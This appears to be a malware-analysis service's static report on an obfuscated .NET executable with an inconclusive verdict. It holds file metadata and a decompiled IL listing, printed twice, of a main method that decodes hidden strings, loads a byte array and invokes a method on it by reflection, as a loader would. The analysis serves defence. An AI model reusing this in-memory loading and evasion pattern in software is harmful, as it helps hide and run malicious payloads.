Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

The file 062c6cb7a15382f891e3fb9656b44cf7 is a PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 52 embedded or derived files. It matches 6 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
—
MD5
-
Verdict
Inconclusive
File type
PE Executable

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high

53 files
EXE062c6cb7a15382f891e3fb9656b44cf7
Structure

Name Value
Module Name
zNy6Dr9
Full Name
zNy6Dr9
EntryPoint
System.Void Rmi7m2wH.nw3FEwz54q/nPz1D3ktsoR95.9Dcaem4N2::Gks6tD3fArj2ez()
Scope Name
zNy6Dr9
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
zNy6Dr9
Assembly Version
27.9.11.181
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void Rmi7m2wH.nw3FEwz54q/nPz1D3ktsoR95.9Dcaem4N2::Gks6tD3fArj2ez()
Main IL Instruction Count
263
Main IL 
nop <null>
br.s IL_0003: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_002F: nop
nop <null>
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
callvirt System.Threading.ApartmentState System.Threading.Thread::GetApartmentState()
ldc.i4.1 <null>
ceq <null>
stloc.s V_18
ldloc.s V_18
brfalse.s IL_0048: ldc.i4.3
ldc.i4.7 <null>
stloc.s V_24
br.s IL_0006: ldloc.s V_24
ldc.i4.3 <null>
br.s IL_0044: stloc.s V_24
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
nop <null>
nop <null>
ldc.i4.3 <null>
stloc.s V_24
br.s IL_0006: ldloc.s V_24
nop <null>
call System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture()
stloc.0 <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentCulture(System.Globalization.CultureInfo)
nop <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentUICulture(System.Globalization.CultureInfo)
nop <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.1 <null>
ldc.i4.2 <null>
stloc.s V_24
br.s IL_0006: ldloc.s V_24
nop <null>
ldc.i4.5 <null>
ldc.i4 1753268680
ldnull <null>
ldc.i4.2 <null>
call System.String Sqr7od6GA8rgzx.yXj5nj6K/8aqXY5.zt1FRky5q0yP/Hgm5sG2xZ8nx4.2xeDmQz6wt4/Jzn9gr5QmWd3p.zZp9c0Agxg3::eKa5yg4Xf(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stloc.2 <null>
br.s IL_008E: br.s IL_0090
br.s IL_0090: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_26
ldloc.s V_26
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00B0: nop
nop <null>
ldloc.1 <null>
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Diagnostics.FileVersionInfo System.Diagnostics.FileVersionInfo::GetVersionInfo(System.String)
stloc.s V_19
ldloc.s V_19
callvirt System.String System.Diagnostics.FileVersionInfo::get_FileVersion()
stloc.2 <null>
leave.s IL_00D9: br.s IL_00DB
br.s IL_00CA: br.s IL_00CC
br.s IL_00CC: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00D9: br.s IL_00DB
br.s IL_00DB: ldc.i4.s 13
ldc.i4.s 13
stloc.s V_28
ldloc.s V_28
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0124: nop
nop <null>
ldc.i4.s 28
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
stloc.3 <null>
ldloc.3 <null>
nop <null>
ldc.i4.3 <null>
ldnull <null>
ldc.i4 289056767
call System.String oQo1b2.6iaXr1MpLwq89::sTx4Qr7x6jz(System.Int32,System.Reflection.Assembly,System.Int32)
nop <null>
ldc.i4.1 <null>
ldc.i4.6 <null>
ldc.i4 1929889155
call System.String Sqr7od6GA8rgzx.yXj5nj6K/8aqXY5.zt1FRky5q0yP/Hgm5sG2xZ8nx4.2xeDmQz6wt4/Jzn9gr5QmWd3p.zZp9c0Agxg3::qXi25qdZrDk8(System.Byte,System.Int32,System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.s V_4
ldc.i4.8 <null>
stloc.s V_28
br.s IL_00DF: ldloc.s V_28
ldloc.s V_4
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_20
ldloc.s V_20
brfalse.s IL_016C: ldc.i4.6
ldc.i4.2 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldc.i4.6 <null>
br.s IL_0165: stloc.s V_28
ldloc.s V_4
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
nop <null>
ldc.i4.6 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
nop <null>
ldc.i4.1 <null>
stloc.s V_5
ldc.r8 25
call System.Double System.Math::Floor(System.Double)
conv.ovf.i4 <null>
stloc.s V_6
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newarr System.Object
stloc.s V_7
ldc.i4.s 9
stloc.s V_28
br IL_00DF: ldloc.s V_28
call System.String Dj7dwSd34.Sgp6_t1ZP0n::mQz4k5Hbsr8()
call System.Byte[] Dj7dwSd34.Sgp6_t1ZP0n::5Lmtq1MxRm(System.String)
stloc.s V_8
call System.Boolean System.Environment::get_UserInteractive()
stloc.s V_9
ldc.i4 96071
stloc.s V_10
call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen()
stloc.s V_21
ldloca.s V_21
call System.Int32 System.Drawing.Rectangle::get_Width()
stloc.s V_11
ldc.i4.s 12
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldloc.s V_8
castclass System.Byte[]
ldloc.s V_10
call System.Object 7tyPopY5m2gH.8Wdyn::8Hpxd0YarL(System.Byte[],System.Int32)
ldnull <null>
nop <null>
ldc.i4.3 <null>
ldc.i4.3 <null>
ldc.i4 1929889166
call System.String Sqr7od6GA8rgzx.yXj5nj6K/8aqXY5.zt1FRky5q0yP/Hgm5sG2xZ8nx4.2xeDmQz6wt4/Jzn9gr5QmWd3p.zZp9c0Agxg3::qXi25qdZrDk8(System.Byte,System.Int32,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
castclass System.Byte[]
stloc.s V_12
ldc.i4.7 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldloc.s V_12
stelem.ref <null>
ldc.i4.0 <null>
call System.Int64 System.GC::GetTotalMemory(System.Boolean)
ldc.i4 104857600
conv.i8 <null>
cgt <null>
stloc.s V_13
ldc.i4.3 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
call System.Drawing.Rectangle System.Windows.Forms.Cursor::get_Clip()
stloc.s V_21
ldloca.s V_21
call System.Boolean System.Drawing.Rectangle::get_IsEmpty()
stloc.s V_14
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stloc.s V_15
ldloc.s V_15
nop <null>
ldnull <null>
ldc.i4 550172936
ldc.i4.3 <null>
ldc.i4.s 15
call System.String oQo1b2.6iaXr1MpLwq89::8k_Ab4Z(System.String,System.Int32,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
stloc.s V_16
ldc.i4.0 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldloc.s V_16
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldelem.ref <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stloc.s V_17
ldc.i4.s 11
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldloc.s V_7
ldloc.s V_6
ldc.i4.6 <null>
sub.ovf <null>
ldloc.s V_17
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stelem.ref <null>
ldloc.s V_7
ldloc.s V_6
call System.Void Rmi7m2wH.nw3FEwz54q::0RmoLy6(System.Object[],System.Int32)
ldc.i4.s 14
stloc.s V_28
br IL_00DF: ldloc.s V_28
nop <null>
leave.s IL_02E6: br.s IL_02E8
br.s IL_02D4: br.s IL_02D6
br.s IL_02D6: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_22
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02E6: br.s IL_02E8
br.s IL_02E8: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_30
ldloc.s V_30
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0308: nop
nop <null>
ret <null>
ldtoken System.Void Rmi7m2wH.nw3FEwz54q/nPz1D3ktsoR95.9Dcaem4N2::Gks6tD3fArj2ez()
pop <null>
ret <null>
Module Name
zNy6Dr9
Full Name
zNy6Dr9
EntryPoint
System.Void Rmi7m2wH.nw3FEwz54q/nPz1D3ktsoR95.9Dcaem4N2::Gks6tD3fArj2ez()
Scope Name
zNy6Dr9
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
zNy6Dr9
Assembly Version
27.9.11.181
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void Rmi7m2wH.nw3FEwz54q/nPz1D3ktsoR95.9Dcaem4N2::Gks6tD3fArj2ez()
Main IL Instruction Count
263
Main IL 
nop <null>
br.s IL_0003: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_002F: nop
nop <null>
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
callvirt System.Threading.ApartmentState System.Threading.Thread::GetApartmentState()
ldc.i4.1 <null>
ceq <null>
stloc.s V_18
ldloc.s V_18
brfalse.s IL_0048: ldc.i4.3
ldc.i4.7 <null>
stloc.s V_24
br.s IL_0006: ldloc.s V_24
ldc.i4.3 <null>
br.s IL_0044: stloc.s V_24
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
nop <null>
nop <null>
ldc.i4.3 <null>
stloc.s V_24
br.s IL_0006: ldloc.s V_24
nop <null>
call System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture()
stloc.0 <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentCulture(System.Globalization.CultureInfo)
nop <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentUICulture(System.Globalization.CultureInfo)
nop <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.1 <null>
ldc.i4.2 <null>
stloc.s V_24
br.s IL_0006: ldloc.s V_24
nop <null>
ldc.i4.5 <null>
ldc.i4 1753268680
ldnull <null>
ldc.i4.2 <null>
call System.String Sqr7od6GA8rgzx.yXj5nj6K/8aqXY5.zt1FRky5q0yP/Hgm5sG2xZ8nx4.2xeDmQz6wt4/Jzn9gr5QmWd3p.zZp9c0Agxg3::eKa5yg4Xf(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stloc.2 <null>
br.s IL_008E: br.s IL_0090
br.s IL_0090: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_26
ldloc.s V_26
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00B0: nop
nop <null>
ldloc.1 <null>
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Diagnostics.FileVersionInfo System.Diagnostics.FileVersionInfo::GetVersionInfo(System.String)
stloc.s V_19
ldloc.s V_19
callvirt System.String System.Diagnostics.FileVersionInfo::get_FileVersion()
stloc.2 <null>
leave.s IL_00D9: br.s IL_00DB
br.s IL_00CA: br.s IL_00CC
br.s IL_00CC: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00D9: br.s IL_00DB
br.s IL_00DB: ldc.i4.s 13
ldc.i4.s 13
stloc.s V_28
ldloc.s V_28
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0124: nop
nop <null>
ldc.i4.s 28
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
stloc.3 <null>
ldloc.3 <null>
nop <null>
ldc.i4.3 <null>
ldnull <null>
ldc.i4 289056767
call System.String oQo1b2.6iaXr1MpLwq89::sTx4Qr7x6jz(System.Int32,System.Reflection.Assembly,System.Int32)
nop <null>
ldc.i4.1 <null>
ldc.i4.6 <null>
ldc.i4 1929889155
call System.String Sqr7od6GA8rgzx.yXj5nj6K/8aqXY5.zt1FRky5q0yP/Hgm5sG2xZ8nx4.2xeDmQz6wt4/Jzn9gr5QmWd3p.zZp9c0Agxg3::qXi25qdZrDk8(System.Byte,System.Int32,System.Int32)
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.s V_4
ldc.i4.8 <null>
stloc.s V_28
br.s IL_00DF: ldloc.s V_28
ldloc.s V_4
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_20
ldloc.s V_20
brfalse.s IL_016C: ldc.i4.6
ldc.i4.2 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldc.i4.6 <null>
br.s IL_0165: stloc.s V_28
ldloc.s V_4
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
nop <null>
ldc.i4.6 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
nop <null>
ldc.i4.1 <null>
stloc.s V_5
ldc.r8 25
call System.Double System.Math::Floor(System.Double)
conv.ovf.i4 <null>
stloc.s V_6
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newarr System.Object
stloc.s V_7
ldc.i4.s 9
stloc.s V_28
br IL_00DF: ldloc.s V_28
call System.String Dj7dwSd34.Sgp6_t1ZP0n::mQz4k5Hbsr8()
call System.Byte[] Dj7dwSd34.Sgp6_t1ZP0n::5Lmtq1MxRm(System.String)
stloc.s V_8
call System.Boolean System.Environment::get_UserInteractive()
stloc.s V_9
ldc.i4 96071
stloc.s V_10
call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen()
stloc.s V_21
ldloca.s V_21
call System.Int32 System.Drawing.Rectangle::get_Width()
stloc.s V_11
ldc.i4.s 12
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldloc.s V_8
castclass System.Byte[]
ldloc.s V_10
call System.Object 7tyPopY5m2gH.8Wdyn::8Hpxd0YarL(System.Byte[],System.Int32)
ldnull <null>
nop <null>
ldc.i4.3 <null>
ldc.i4.3 <null>
ldc.i4 1929889166
call System.String Sqr7od6GA8rgzx.yXj5nj6K/8aqXY5.zt1FRky5q0yP/Hgm5sG2xZ8nx4.2xeDmQz6wt4/Jzn9gr5QmWd3p.zZp9c0Agxg3::qXi25qdZrDk8(System.Byte,System.Int32,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
castclass System.Byte[]
stloc.s V_12
ldc.i4.7 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldloc.s V_12
stelem.ref <null>
ldc.i4.0 <null>
call System.Int64 System.GC::GetTotalMemory(System.Boolean)
ldc.i4 104857600
conv.i8 <null>
cgt <null>
stloc.s V_13
ldc.i4.3 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
call System.Drawing.Rectangle System.Windows.Forms.Cursor::get_Clip()
stloc.s V_21
ldloca.s V_21
call System.Boolean System.Drawing.Rectangle::get_IsEmpty()
stloc.s V_14
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stloc.s V_15
ldloc.s V_15
nop <null>
ldnull <null>
ldc.i4 550172936
ldc.i4.3 <null>
ldc.i4.s 15
call System.String oQo1b2.6iaXr1MpLwq89::8k_Ab4Z(System.String,System.Int32,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
stloc.s V_16
ldc.i4.0 <null>
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldloc.s V_16
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldelem.ref <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stloc.s V_17
ldc.i4.s 11
stloc.s V_28
br IL_00DF: ldloc.s V_28
ldloc.s V_7
ldloc.s V_6
ldc.i4.6 <null>
sub.ovf <null>
ldloc.s V_17
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stelem.ref <null>
ldloc.s V_7
ldloc.s V_6
call System.Void Rmi7m2wH.nw3FEwz54q::0RmoLy6(System.Object[],System.Int32)
ldc.i4.s 14
stloc.s V_28
br IL_00DF: ldloc.s V_28
nop <null>
leave.s IL_02E6: br.s IL_02E8
br.s IL_02D4: br.s IL_02D6
br.s IL_02D6: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_22
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02E6: br.s IL_02E8
br.s IL_02E8: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_30
ldloc.s V_30
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0308: nop
nop <null>
ret <null>
ldtoken System.Void Rmi7m2wH.nw3FEwz54q/nPz1D3ktsoR95.9Dcaem4N2::Gks6tD3fArj2ez()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙